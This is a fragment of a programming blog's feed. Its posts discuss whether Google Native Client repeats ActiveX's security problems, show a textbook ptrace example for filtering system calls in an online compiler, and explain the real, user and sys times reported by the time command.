experience more interactive:  Java applets, JavaScript (and AJAX techniques), ActiveX, Flash, and Silverlight to name a few.  All of the above except for ActiveX achieve a certain level of security from malicious code through the use of runtime-interpreted languages.  The interpreter layer helps to assure security by not providing access to certain types of operations.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;An ActiveX control, on the other hand, is native executable code — so it can do anything you can write an executable to do.&amp;nbsp; That includes access to the local file system and other resources to which the current user has permissions.&amp;nbsp; Thus, if you install an ActiveX control from an untrusted source, who knows what you’re getting yourself into?&amp;nbsp; Soon after the release of ActiveX, one developer famously put up a page on the web (I can’t find it now) that would reboot your system without asking — just to demonstrate the security vulnerabilities inherent in the design.&amp;nbsp; Not long after that, Microsoft added a security feature to Internet Explorer to ask you before loading any ActiveX controls.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;The vulnerabilities associated with ActiveX put most web aficionados off the idea of embedding native code in the browser, even though it naturally performs much better than an interpreted language (although recent &lt;a href="http://www.geeksaresexy.net/2008/08/22/firefox-31-to-dramatically-speed-up-javascript/"&gt;improvements&lt;/a&gt;&amp;nbsp;in JavaScript&amp;nbsp;&lt;a href="http://www.geeksaresexy.net/2008/09/02/google-chrome-beta-released-for-windows/"&gt;performance&lt;/a&gt;&amp;nbsp;mitigate that somewhat).&amp;nbsp; But now Google is reopening the possibility of running native code in the browser, in order to provide a richer Internet experience.&amp;nbsp; Unlike ActiveX, this technology (appropriately named&amp;nbsp;&lt;a href="http://google-code-updates.blogspot.com/2008/12/native-client-technology-for-running.html"&gt;Native Client&lt;/a&gt;) is designed to run in many different browsers (Firefox, Safari, Opera, and Chrome — note no IE), and across various client platforms (Linux, OS/X, and Windows are already supported on x86).&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;&lt;b&gt;Handling the security issues&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;Chad Perrin of TechRepublic recently posted&amp;nbsp;&lt;a href="http://blogs.techrepublic.com.com/security/?p=690"&gt;his concerns about the security of Native Client&lt;/a&gt;.  Apparently, when Native Client loads an executable, it decompiles it to insure that the code follows certain “structural criteria” and doesn’t perform any prohibited action, like creating files on the local file system or accessing the network.  Google admits that this security model presents some challenges.  It seems to me it would be next to impossible to prevent all forms of attack — but hey, Google employs some pretty smart people.  I just hope they aren’t misguided on this.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;Google’s Native Client team wants your&amp;nbsp;&lt;a href="http://code.google.com/p/nativeclient/wiki/WhatToTest"&gt;help in testing&lt;/a&gt;&amp;nbsp;to see if you can break their security mechanisms.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;&lt;b&gt;Taking it for a spin&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;To&amp;nbsp;&lt;a href="http://nativeclient.googlecode.com/svn/trunk/nacl/googleclient/native_client/documentation/getting_started.html"&gt;try it out&lt;/a&gt;, you must first have&amp;nbsp;&lt;a href="http://python.org/"&gt;Python&lt;/a&gt;&amp;nbsp;2.4 or 2.5 installed on your system (it’s not directly used by Native Client, but it is used for the build and test environments).&amp;nbsp;&amp;nbsp;&lt;a href="http://code.google.com/p/nativeclient/"&gt;Download the software&lt;/a&gt;, and follow the&amp;nbsp;&lt;a href="http://nativeclient.googlecode.com/svn/trunk/nacl/googleclient/native_client/documentation/building.html"&gt;build instructions&lt;/a&gt;.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;Just like ActiveX controls, a Native Client executable can be run within a stand-alone application, or within a web page (if you install the Native Client plugin for your browser).  The &lt;a href="http://nativeclient.googlecode.com/svn/trunk/nacl/googleclient/native_client/documentation/examples.html"&gt;tests provided in the download&lt;/a&gt;&amp;nbsp;offer both options.&amp;nbsp; Here’s one of my favorite programs (Conway’s Life simulation) running as a stand-alone app on Windows XP:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://www.geeksaresexy.net/wp-content/uploads/2008/12/windowslivewriter78ec6fc5816b-c8d7life4.png" alt="" width="518" height="544"&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;And here it is inside Firefox:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://www.geeksaresexy.net/wp-content/uploads/2008/12/windowslivewriter78ec6fc5816b-c8d7life-in-firefox4.png" alt="" width="520" height="455"&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;The same executable (life.nexe on Windows) is used in both cases — it just uses a different loader in each (a stand-alone executable or a browser plugin).&amp;nbsp; This example runs very quickly.&amp;nbsp; You can use the mouse to add cells wherever you click.&amp;nbsp; I could watch this all day.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;The&amp;nbsp;&lt;a href="http://nativeclient.googlecode.com/svn/trunk/nacl/googleclient/native_client/scons-out/doc/html/index.html"&gt;API Reference for Native Client can be found here&lt;/a&gt;.  I haven’t read through all of it yet.  The API is written in C++.  I like the fact that it’s cross-platform&lt;strike&gt;, but I presume that the executables have to be compiled for each operating system.  Judging from the Python code in the stand-alone loader, I’m guessing that the browser plugin’s loader will automatically look for the platform-correct executable on the host system&lt;/strike&gt;&amp;nbsp;(UPDATE: Sven corrected my assumption – the .nexe’s generated from the compilation are platform-independent).&amp;nbsp; But I haven’t tried creating any Native Client modules of my own yet.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;This technology is designed to handle processing loads that are deemed too onerous for pure JavaScript, or a combination of JavaScript and server-side processing.&amp;nbsp; One example would be image editing, which would be quite difficult to do in pure JavaScript (even if you can rely on the Canvas object).&amp;nbsp; But sending commands to the server to modify the image and ship it back to the client gets expensive in a hurry.&amp;nbsp; The ideal model would be to perform all the image manipulation in the client and then send the final result back to the server (if needed).&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;What do you think?&amp;nbsp; Will Native Client finally give us the processing power we’ve always wanted in the web client?&amp;nbsp; Or will it open too many security vulnerabilities? Will NaCl be worth its salt?&lt;/font&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-8037975790497636185?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/8037975790497636185/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=8037975790497636185' title='3 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/8037975790497636185'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/8037975790497636185'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/01/google-native-client-web-deluxe-or.html' title='Google Native Client: web deluxe, or ActiveX redux?'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-8575275956965379968</id><published>2010-01-14T19:40:00.001-08:00</published><updated>2010-01-14T19:40:14.813-08:00</updated><title type='text'>using ptrace for system calls filter</title><content type='html'>&lt;h1 style="TEXT-ALIGN:center"&gt;&lt;br /&gt;  using ptrace for system calls filter&lt;br /&gt;&lt;/h1&gt;&lt;font size="4"&gt;Recently i just develop an online compiler system ,taking the server security into account . For example,if the user use the fork() syscall,and it will cause the server unsafe,the ptrace syscall can realize the system calls filter, if &amp;nbsp;the daemon find the unsafe syscalls kill the process!&lt;/font&gt;&lt;br&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;ptrace is a system call found in several Unix and Unix-like operating systems. By using ptrace (the name is a abbreviation of "process trace") one process can control another, enabling the controller to inspect and manipulate the internal state of its target. ptrace is used by debuggers and other code-analysis tools, mostly as aids to software development.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;ptrace is used by debuggers (such as gdb and dbx), by tracing tools like strace and ltrace, and by code coverage tools. ptrace is also used by specialised programs to patch running programs, to avoid unfixed bugs or to overcome security features.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;div&gt;#include &amp;lt;sys/ptrace.h&amp;gt;&lt;/div&gt;&lt;div&gt;long ptrace(enum __ptrace_request request, pid_t pid, &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; void&lt;/div&gt;&lt;div&gt;*addr, void *data);&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;the example code !&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" color="#444444" face="'Courier New'"&gt;&lt;font size="2"&gt;&amp;nbsp;&lt;/font&gt;&lt;font class="Apple-style-span" color="#339900"&gt;&amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;ol&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#include &amp;lt;sys/ptrace.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#include &amp;lt;sys/wait.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#include &amp;lt;linux/user.h&amp;gt; &amp;nbsp; /* For constants&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ORIG_EAX etc */&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;int&lt;/span&gt;&amp;nbsp;main&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;{&lt;/span&gt;&amp;nbsp;&amp;nbsp; pid_t child;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;orig_eax;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; child = fork&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw1" style="color: rgb(0, 0, 255)"&gt;if&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;child ==&amp;nbsp;&lt;span class="nu0" style="color: rgb(0, 0, 221)"&gt;0&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;{&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ptrace&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;PTRACE_TRACEME,&amp;nbsp;&lt;span class="nu0" style="color: rgb(0, 0, 221)"&gt;0&lt;/span&gt;,&amp;nbsp;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;NULL&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; execl&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="st0" style="color: rgb(102, 102, 102)"&gt;"/bin/ls"&lt;/span&gt;,&amp;nbsp;&lt;span class="st0" style="color: rgb(102, 102, 102)"&gt;"ls"&lt;/span&gt;,&amp;nbsp;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;NULL&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;}&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw1" style="color: rgb(0, 0, 255)"&gt;else&lt;/span&gt;&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;{&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; wait&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;NULL&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; orig_eax = ptrace&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;PTRACE_PEEKUSER,&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; child,&amp;nbsp;&lt;span class="nu0" style="color: rgb(0, 0, 221)"&gt;4&lt;/span&gt;&amp;nbsp;* ORIG_EAX,&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;NULL&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw3" style="color: rgb(0, 0, 221)"&gt;printf&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="st0" style="color: rgb(102, 102, 102)"&gt;"The child made a "&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="st0" style="color: rgb(102, 102, 102)"&gt;"system call %ld&lt;span class="es0" style="color: rgb(102, 102, 102)"&gt;&lt;b&gt;\n&lt;/b&gt;&lt;/span&gt;"&lt;/span&gt;, orig_eax&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ptrace&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;PTRACE_CONT, child,&amp;nbsp;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;NULL&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;}&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw1" style="color: rgb(0, 0, 255)"&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class="nu0" style="color: rgb(0, 0, 221)"&gt;0&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;}&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;&lt;br&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;&lt;div&gt;&lt;font size="4"&gt;When run, this program prints:&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;The child made a system call 11&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;along with the output of ls. System call number 11 is execve, and it's the first system call executed by the child. For reference, system call numbers can be found in /usr/include/asm/unistd.h.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;it's cool!&lt;/font&gt;&lt;/div&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;reference&lt;/div&gt;&lt;div&gt;http://linux.die.net/man/2/ptrace&lt;/div&gt;&lt;div&gt;http://www.linuxjournal.com/article/6100&lt;/div&gt;&lt;/font&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-8575275956965379968?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/8575275956965379968/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=8575275956965379968' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/8575275956965379968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/8575275956965379968'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/01/using-ptrace-for-system-calls-filter.html' title='using ptrace for system calls filter'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-7687329566472498434</id><published>2010-01-14T04:42:00.001-08:00</published><updated>2010-01-14T19:41:40.440-08:00</updated><title type='text'>different of  real user sys time</title><content type='html'>&lt;h1 style="text-align: center;"&gt;&amp;nbsp;&amp;nbsp; different of &amp;nbsp;real user sys time&amp;nbsp;&lt;/h1&gt;&lt;div&gt;&amp;nbsp;&lt;font size="4"&gt;When we use $time command ,output just like&amp;nbsp;&lt;/font&gt;&lt;span style="font-family: Arial, sans-serif"&gt;&lt;font size="4"&gt;following&lt;/font&gt;&lt;span style="font-family: Verdana"&gt;&lt;font size="4"&gt;,&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: Arial, sans-serif"&gt;&lt;span style="font-family: Verdana"&gt;&lt;font size="4"&gt;$time ls&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;font size="4"&gt;real&lt;/font&gt;	&lt;font size="4"&gt;0m0.007s&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;user&lt;/font&gt;	&lt;font size="4"&gt;0m0.004s&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;sys&lt;/font&gt;	&lt;font size="4"&gt;0m0.000s&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;why real!=user+sys.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;p style="margin-right: 0px; margin-left: 0px; border-style: initial; border-color: initial; vertical-align: baseline; background-image: initial; background-color: transparent"&gt;&lt;font size="3"&gt;Real refers to actual elapsed time; User and Sys refer to CPU time used&amp;nbsp;&lt;/font&gt;&lt;i&gt;only by the process.&lt;/i&gt;&lt;/p&gt;&lt;ul style="margin-right: 0px; margin-left: 30px; border-style: initial; border-color: initial; vertical-align: baseline; background-image: initial; background-color: transparent; list-style-type: disc"&gt;&lt;li style="margin-right: 0px; margin-left: 0px; border-style: initial; border-color: initial; vertical-align: baseline; background-image: initial; background-color: transparent"&gt;&lt;p style="margin-right: 0px; margin-left: 0px; border-style: initial; border-color: initial; vertical-align: baseline; background-image: initial; background-color: transparent"&gt;&lt;b&gt;Real&lt;/b&gt;&lt;font size="3"&gt;&amp;nbsp;is wall clock time - time from start to finish of the call. This is all elapsed time including time slices used by other processes and time the process spends blocked (for example if it is waiting for I/O to complete).&lt;/font&gt;&lt;/p&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px; border-style: initial; border-color: initial; vertical-align: baseline; background-image: initial; background-color: transparent"&gt;&lt;p style="margin-right: 0px; margin-left: 0px; border-style: initial; border-color: initial; vertical-align: baseline; background-image: initial; background-color: transparent"&gt;&lt;b&gt;User&lt;/b&gt;&lt;font size="3"&gt;&amp;nbsp;is the amount of CPU time spent in user-mode code (outside the kernel)&amp;nbsp;&lt;/font&gt;&lt;i&gt;within&lt;/i&gt;&lt;font size="3"&gt;&amp;nbsp;the process. This is only actual CPU time used in executing the process. Other processes and time the process spends blocked do not count towards this figure.&lt;/font&gt;&lt;/p&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px; border-style: initial; border-color: initial; vertical-align: baseline; background-image: initial; background-color: transparent"&gt;&lt;p style="margin-right: 0px; margin-left: 0px; border-style: initial; border-color: initial; vertical-align: baseline; background-image: initial; background-color: transparent"&gt;&lt;b&gt;Sys&lt;/b&gt;&lt;font size="3"&gt;&amp;nbsp;is the amount of CPU time spent in the kernel within the process. This means executing CPU time spent in system calls&amp;nbsp;&lt;/font&gt;&lt;i&gt;within the kernel,&lt;/i&gt;&lt;font size="3"&gt;&amp;nbsp;as opposed to library code, which is still running in user-space. Like 'user', this is only CPU time used by the process. See below for a brief description of kernel mode (also known as 'supervisor' mode) and the system call mechanism.&lt;/font&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="margin-right: 0px; margin-left: 0px; border-style: initial; border-color: initial; vertical-align: baseline; background-image: initial; background-color: transparent"&gt;&lt;font size="3"&gt;User+Sys will tell you how much actual CPU time your process used.&lt;/font&gt;&lt;/p&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;&lt;div&gt;&lt;font size="4"&gt;So $strace time ls&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;i get&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;.......&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;font class="Apple-style-span" color="#FF0000"&gt;gettimeofday({1263467995, 282946}, NULL) = 0&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;font class="Apple-style-span" color="#FF0000"&gt;clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, 